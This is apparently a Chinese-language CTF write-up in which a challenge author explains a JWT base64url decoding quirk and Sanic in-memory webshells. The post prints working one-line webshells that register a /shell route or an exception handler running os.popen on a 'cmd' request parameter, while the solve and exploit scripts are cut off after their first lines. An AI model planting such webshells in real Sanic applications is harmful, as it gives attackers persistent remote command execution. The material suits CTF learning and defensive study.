说在前面
很简单的一道题,但是不知道为什么零解,周末参加L3HCTF去了,也没看这比赛参赛人数怎么样。但是本着出题就是推进大家学习最近出题人研究的好玩的东西,所以我打算公开本次WP
做题的前置知识
JWT Base64URL Vul
某天我在一道题里面了解到的一个解析漏洞,其中利用代码大致如下
1 | from jwt.utils import base64url_decode |
我们跟进到base64url_decode
函数
1 | def base64url_decode(input: Union[bytes, str]) -> bytes: |
首先就是强制转化成utf-8
字节,然后正常进行base64长度区分,如果不对进行补全。看着任何漏洞都没有,但是某次测试中,发现\
居然能够相等!
sanic内存马
python的内存马大家都知道吧,我某天晚上睡不着看了看好友asalin的文章,发现了这篇文章
最经典的就是进行路由添加
1 | app.add_route(lambda request: __import__("os").popen(request.args.get("cmd")).read(),"/shell", methods=["GET"]) |
不多讲,看看另外两个demo
1 | app.exception(Exception)(lambda request, exception: __import__("sanic").response.text(__import__("os").popen(request.args.get("cmd")).read())) |
我们可以这么理解,利用一个渲染器定义一个函数,其中嵌套一个lambda
函数,并且此处可控的话,我们可以添加恶意代码,即为一个内存马,系统不重启无法失效~
那我们类似的找个渲染器即可,这里我找到了好几个,禁用了其他的我找到了,保留了一个作为预期解,详情看
https://baozongwi.xyz/posts/cb7dd2e7.html
解题
1 | import base64, pickle, jwt, os |
代码逻辑很简单,作为一个不被喷的出题人,出的题就是分享trick,没必要去代审那么一两百行的代码,你要我做代审,那你就给个0day来审项目,自己写个屎山,让大家来看,实在是不太优美
exp如下
1 | #!/usr/bin/env python3 |